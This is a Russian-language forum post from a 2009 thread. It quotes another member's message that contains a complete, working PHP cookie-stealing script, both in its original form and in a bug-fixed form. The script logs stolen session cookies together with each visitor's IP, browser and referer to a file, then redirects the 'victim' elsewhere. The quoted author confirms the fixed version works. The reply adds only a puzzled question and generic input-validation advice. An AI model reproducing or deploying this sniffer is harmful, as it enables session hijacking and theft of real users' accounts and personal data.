Показать сообщение отдельно

  #39  
Старый 27.09.2009, 19:10
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
С нами: 9362947

Репутация: 1196


По умолчанию

Цитата:
Сообщение от Chrome~  
Я эту статью писал действительно очень давно. Но вот спасибо за замечание, потому что я сделал ошибку.

Это полный код данного PHP файла.
PHP код:
<?PHP 
$Cookies 
UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы 
$Date date("d-m-y H:i:s"time()); // Дата и время 
$browser getenv("HTTP_USER_AGENT"); // Информация о браузере 
$ref getenv("HTTP_REFERER");     // Страница, с которой пришли 
$ip getenv("REMOTE_ADDR"); // IP адрес 

// Записываем полученные данные 
$text "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n"

$filelog fopen("base.php","a+"); // Открываем файл базы 
fwrite($filelog,"\n $text \n"); // Записываем 
fclose($filelog); // Закрываем 
header('Location: http://somesite.ru');     // Переводим жертву на указанный адрес 
?>
Вся проблема в этой строчке:
PHP код:
// Записываем полученные данные 
$text "Date: $Date\nBrowser: $browser\nReferer: $ref\nIP: $ip\nQuery: $query\n\n"
Не знаю, почему я записал Query: $query, потому что по идеи должно быть Query: $Cookies.

То есть исправленный вариант выглядит так:
PHP код:
<?PHP 
$Cookies 
UrlDecode(getenv("QUERY_STRING")); // Читаем переменную a из GET-запроса, в которой будут кукисы 
$Date date("d-m-y H:i:s"time()); // Дата и время 
$browser getenv("HTTP_USER_AGENT"); // Информация о браузере 
$ref getenv("HTTP_REFERER");     // Страница, с которой пришли 
$ip getenv("REMOTE_ADDR"); // IP адрес 

// Записываем полученные данные 
$text "\r\n\r\nDate: $Date\r\nBrowser: $browser\r\nReferer: $ref\r\nIP: $ip\r\nQuery: $Cookies\r\n\r\n"

$filelog fopen("base.php","a+"); // Открываем файл базы 
fwrite($filelog,"$text"); // Записываем 
fclose($filelog); // Закрываем 
header('Location: http://somesite.ru');     // Переводим жертву на указанный адрес 
?>
Только что проверил у себя, - все работает. Оффлайн версию статьи сегодня исправлю.
сорри мб я не догоняю,но как оно заработало от : перевода строки,возврата каретки,вот и я хз как '(
И на последок - ВСЕГДА проверяй, что принимаешь и что отсылаешь
Имеются ввиду типы переменных, их размерность, наличие/отсутствие.
 
Ответить с цитированием